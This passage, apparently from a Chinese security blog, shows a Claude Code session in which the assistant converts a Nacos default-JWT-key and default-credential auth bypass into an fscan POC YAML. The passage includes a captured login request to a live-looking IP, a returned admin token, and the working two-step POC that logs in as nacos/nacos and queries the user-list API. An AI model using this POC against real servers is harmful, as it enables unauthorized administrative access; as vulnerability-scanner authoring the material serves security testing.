&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| RCE | &lt;span class="sb"&gt;`-rce`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-hotel-rce`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| LFI | &lt;span class="sb"&gt;`-lfi`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-vendor-lfi`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| SSRF | &lt;span class="sb"&gt;`-ssrf`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-vendor-ssrf`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Info Leak | &lt;span class="sb"&gt;`-info-leak`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-canal-info-leak`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Weak Password | &lt;span class="sb"&gt;`-weak`&lt;/span&gt; or &lt;span class="sb"&gt;`-default-password`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-activemq-default-password`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| CVE | &lt;span class="sb"&gt;`-cve-{year}-{id}`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-spring-cve-2022-22947`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Auth Bypass | &lt;span class="sb"&gt;`-auth-bypass`&lt;/span&gt; | &lt;span class="sb"&gt;`poc-yaml-nacos-v1-auth-bypass`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;p&gt;运行效果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;span class="lnt"&gt;122
&lt;/span&gt;&lt;span class="lnt"&gt;123
&lt;/span&gt;&lt;span class="lnt"&gt;124
&lt;/span&gt;&lt;span class="lnt"&gt;125
&lt;/span&gt;&lt;span class="lnt"&gt;126
&lt;/span&gt;&lt;span class="lnt"&gt;127
&lt;/span&gt;&lt;span class="lnt"&gt;128
&lt;/span&gt;&lt;span class="lnt"&gt;129
&lt;/span&gt;&lt;span class="lnt"&gt;130
&lt;/span&gt;&lt;span class="lnt"&gt;131
&lt;/span&gt;&lt;span class="lnt"&gt;132
&lt;/span&gt;&lt;span class="lnt"&gt;133
&lt;/span&gt;&lt;span class="lnt"&gt;134
&lt;/span&gt;&lt;span class="lnt"&gt;135
&lt;/span&gt;&lt;span class="lnt"&gt;136
&lt;/span&gt;&lt;span class="lnt"&gt;137
&lt;/span&gt;&lt;span class="lnt"&gt;138
&lt;/span&gt;&lt;span class="lnt"&gt;139
&lt;/span&gt;&lt;span class="lnt"&gt;140
&lt;/span&gt;&lt;span class="lnt"&gt;141
&lt;/span&gt;&lt;span class="lnt"&gt;142
&lt;/span&gt;&lt;span class="lnt"&gt;143
&lt;/span&gt;&lt;span class="lnt"&gt;144
&lt;/span&gt;&lt;span class="lnt"&gt;145
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;╭─── Claude Code v2.1.63 ───────────────────────────────────────────────────────╮
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ Tips for getting started │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ Welcome back! │ Run /init to create a CLAUDE.md file wi… │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ ──────────────────────────────────────── │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ Recent activity │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ▐▛███▜▌ │ No recent activity │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ▝▜█████▛▘ │ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ▘▘ ▝▝ │ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ Sonnet 4.6 · API Usage Billing │ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ~/Projects/fscan │ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;╰───────────────────────────────────────────────────────────────────────────────╯
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ /fscan-poc-gen
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;⏺ I&amp;#39;m ready to generate an fscan POC YAML file for you.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Please provide one of the following:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - A raw HTTP request (method, path, headers, body)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - A curl command
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - A CVE number or vulnerability description
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - A payload you want to convert
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Also let me know:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 1. Vendor / Product name (if not obvious from the input)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 2. Vulnerability type if you know it: sqli, rce-blind, rce-reflect, lfi, ssrf,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; unauth, info-leak, weak-password, or detect
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ nacos 默认jwt密钥-未授权访问
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 开启了nacos.core.auth.enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 的情况下，如果未修改默认nacos.core.auth.default.token.secret.key的值（在Na
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cos&amp;lt;=2.2.0版本中，该值为默认值），则可以通过accessToken值来绕过权限。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; nacos.core.auth.default.token.secret.key=SecretKey01234567890123456789
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0123456789012345678901234567890123456789 # =后边的是默认的硬编码
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 影响版本
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0.1.0&amp;lt;=nacos&amp;lt;=2.2.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 漏洞原理
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 输入正确的账号密码，则后端会返回对应该用户的加密accessToken。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 请求包
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; POST /nacos/v1/auth/users/login HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Host:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Gecko/20100101 Firefox/137.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Accept: application/json, text/plain, */*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Accept-Language:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Content-Length: 29
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Origin: http://47.83.174.204:8848
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Referer: http://47.83.174.204:8848/nacos/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Priority: u=0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; username=nacos&amp;amp;password=nacos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 响应包
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; HTTP/1.1 200
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Content-Type: application/json;charset=UTF-8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Date: Sat, 26 Apr 2025 10:16:58 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Keep-Alive: timeout=60
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Content-Length: 181
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&amp;#34;accessToken&amp;#34;:&amp;#34;eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0N
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; TY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE&amp;#34;,&amp;#34;tokenTtl&amp;#34;:18000,&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; globalAdmin&amp;#34;:true,&amp;#34;username&amp;#34;:&amp;#34;nacos&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;⏺ Step 1 — Parsed input:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Method: POST
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Path: /nacos/v1/auth/users/login
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Body: username=nacos&amp;amp;password=nacos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Vendor/Product: Alibaba / Nacos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Vuln type: unauth (default JWT secret key + default credentials → admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; bypass)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Affected: 0.1.0 &amp;lt;= nacos &amp;lt;= 2.2.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Attack chain:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 1. Login with default creds → extract accessToken
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 2. Use token to call a privileged API endpoint → confirm admin access
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; name: poc-yaml-nacos-default-jwt-unauth
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rules:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - method: POST
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; path: /nacos/v1/auth/users/login
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; headers:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; body: username=nacos&amp;amp;password=nacos
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; search: &amp;#39;&amp;#34;accessToken&amp;#34;:&amp;#34;(?P&amp;lt;accessToken&amp;gt;[^&amp;#34;]+)&amp;#34;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; expression: response.status == 200 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response.body.bcontains(b&amp;#34;globalAdmin\&amp;#34;:true&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - method: GET
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; path: /nacos/v1/auth/users?pageNo=1&amp;amp;pageSize=9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; headers:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Authorization: Bearer {{accessToken}}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; expression: response.status == 200 &amp;amp;&amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response.body.bcontains(b&amp;#34;\&amp;#34;username\&amp;#34;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; detail:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author: your-handle
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; description: |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Nacos uses a hardcoded default JWT secret key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (SecretKey012345678901234567890123456789012345678901234567890123456789).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; When auth is enabled but the key is not rotated, default credentials
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (nacos/nacos) produce a valid admin token that bypasses authorization.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; links:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - https://github.com/alibaba/nacos/issues/9175
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - https://github.com/alibaba/nacos/issues/4593
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Suggested filename: nacos-default-jwt-unauth.yml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; How the chain works:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌──────┬────────────────────────────────────────────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ Rule │ Purpose │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├──────┼────────────────────────────────────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ │ POST login → search captures accessToken into variableMap; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 1 │ expression checks globalAdmin:true confirms admin-level token was │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ │ issued │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├──────┼────────────────────────────────────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 2 │ GET privileged user-list API with Bearer {{accessToken}} → success │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ │ confirms full admin access via the default JWT key │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └──────┴────────────────────────────────────────────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; To embed in fscan binary:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cp nacos-default-jwt-unauth.yml WebScan/pocs/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; go build -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; POC files are embedded at compile time via //go:embed pocs.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;✻ Sautéed for 40s
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="从-payload-生成-nuclei-模板"&gt;从 payload 生成 nuclei 模板
&lt;/h3&gt;&lt;h3 id="从-nuclei-模板生成-fscan-poc-yaml"&gt;从 nuclei 模板生成 fscan poc yaml
